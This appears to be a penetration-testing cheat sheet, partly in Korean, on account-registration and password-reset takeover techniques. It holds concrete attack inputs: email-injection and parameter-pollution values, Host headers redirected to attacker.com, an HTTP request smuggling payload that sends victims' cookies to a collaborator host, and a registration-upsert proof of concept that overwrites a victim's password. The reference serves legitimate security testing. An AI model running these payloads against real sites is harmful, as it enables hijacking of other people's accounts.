Registration & Takeover Vulnerabilities

Reading time: 7 minutes

Registration Takeover

Duplicate Registration

• Try to generate using an existing username
• Check varying the email:
• uppercase
• +1@
• add some dot in the email
• special characters in the email name (%00, %09, %20)
• Put 공백 characters after the email: test@test.com a
• victim@gmail.com@attacker.com
• victim@attacker.com@gmail.com

Username Enumeration

Check if you can figure out when a username has already been registered inside the application.

Password Policy

Creating a user check the password policy (check if you can use weak passwords).
In that case you may try to bruteforce credentials.

SQL Injection

Check this page to learn how to attempt account takeovers or extract information via SQL Injections in registry forms.

Oauth Takeovers

OAuth to Account takeover

SAML Vulnerabilities

SAML Attacks

Change Email

When registered try to change the email and check if this change is correctly validated or can change it to arbitrary emails.

More Checks

• Check if you can use disposable emails
• 긴 비밀번호 (>200) leads to DoS
• Check rate limits on account creation
• Use username@burp_collab.net and analyze the callback

Password Reset Takeover

Password Reset Token Leak Via Referrer

1. Request password reset to your email address
2. Click on the password reset link
3. Don’t change password
4. Click any 3rd party websites(eg: Facebook, twitter)
5. Intercept the request in Burp Suite proxy
6. Check if the referer header is leaking password reset token.

Password Reset Poisoning

1. Intercept the password reset request in Burp Suite
2. Add or edit the following headers in Burp Suite : Host: attacker.com, X-Forwarded-Host: attacker.com
3. Forward the request with the modified header
   http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
4. Look for a password reset URL based on the host header like : https://attacker.com/reset-password.php?token=TOKEN

Password Reset Via Email Parameter

# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

API 매개변수에서의 IDOR

1. 공격자는 자신의 계정으로 로그인하여 Change password 기능으로 이동해야 한다.
2. Burp Suite를 실행하고 요청을 가로챈다.
3. Repeater 탭으로 보내 매개변수(사용자 ID/이메일)를 편집한다.
   powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

약한 비밀번호 재설정 토큰

비밀번호 재설정 토큰은 매번 무작위로 생성되고 고유해야 한다.
토큰이 만료되는지 아니면 항상 동일한지 확인해보라. 경우에 따라 생성 알고리즘이 약해 추측 가능하다. 알고리즘에 사용될 수 있는 변수는 다음과 같다.

• 타임스탬프
• UserID
• 사용자 이메일
• 이름과 성
• 생년월일
• 암호화
• 숫자만
• 짧은 토큰 시퀀스 (문자 범위: [A-Z,a-z,0-9])
• 토큰 재사용
• 토큰 만료 날짜

Leaking Password Reset Token

1. 특정 이메일(예: test@mail.com)에 대해 API/UI를 사용해 비밀번호 재설정 요청을 트리거한다.
2. 서버 응답을 검사하고 resetToken을 확인한다.
3. 그런 다음 해당 토큰을 다음과 같은 URL에 사용한다: https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Username Collision을 이용한 비밀번호 재설정

1. 피해자의 username과 동일하지만 앞뒤에 공백을 삽입한 username으로 시스템에 등록한다. 예: "admin "
2. 악성 username으로 비밀번호 재설정을 요청한다.
3. 본인 이메일로 전송된 토큰을 사용해 피해자의 비밀번호를 재설정한다.
4. 새 비밀번호로 피해자 계정에 로그인한다.

플랫폼 CTFd는 이 공격에 취약했다.
See: CVE-2020-7245

Cross Site Scripting을 통한 계정 탈취

1. 애플리케이션 내부나 서브도메인에서 XSS를 찾는다(쿠키가 상위 도메인에 scope된 경우: *.domain.com).
2. Leak the current sessions cookie
3. 해당 쿠키를 이용해 사용자로 인증한다.

HTTP Request Smuggling을 통한 계정 탈취

1. smuggler를 사용해 HTTP Request Smuggling의 유형(CL, TE, CL.TE)을 탐지한다.
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. 다음 데이터로 POST / HTTP/1.1을 덮어쓸 요청을 구성한다:
GET http://something.burpcollaborator.net HTTP/1.1 X: — 목표는 피해자들을 burpcollab으로 open redirect 시켜 쿠키를 탈취하는 것이다.
3. 최종 요청은 다음과 같을 수 있다.

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone reports exploiting this bug
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666

Account Takeover via CSRF

1. CSRF용 페이로드를 생성, 예: “HTML form with auto submit for a password change”
2. 페이로드 전송

Account Takeover via JWT

JSON Web Token이 사용자 인증에 사용될 수 있음.

• JWT에서 User ID / Email을 다른 것으로 변경
• 약한 JWT 서명 확인

JWT Vulnerabilities (Json Web Tokens)

Registration-as-Reset (Upsert on Existing Email)

일부 signup 핸들러는 제공된 이메일이 이미 존재할 때 upsert를 수행함. 엔드포인트가 이메일과 password만 있는 최소한의 body를 허용하고 소유권 검증을 강제하지 않으면, 피해자의 이메일을 전송해 인증 전(pre-auth)에 password를 덮어쓸 수 있음.

• Discovery: 번들된 JS(또는 모바일 앱 트래픽)에서 endpoint 이름을 수집한 후, ffuf/dirsearch를 사용해 /parents/application/v4/admin/FUZZ와 같은 베이스 경로를 fuzz함.
• Method hints: GET이 "Only POST request is allowed." 같은 메시지를 반환하면 올바른 HTTP verb가 POST임을, 그리고 JSON body가 예상됨을 나타내는 경우가 많음.
• Minimal body observed in the wild:

{"email":"victim@example.com","password":"New@12345"}

예제 PoC:

POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

영향: reset token, OTP 또는 email verification 없이 Full Account Takeover (ATO).

참고자료

• How I Found a Critical Password Reset Bug (Registration upsert ATO)
• https://salmonsec.com/cheatsheet/account_takeover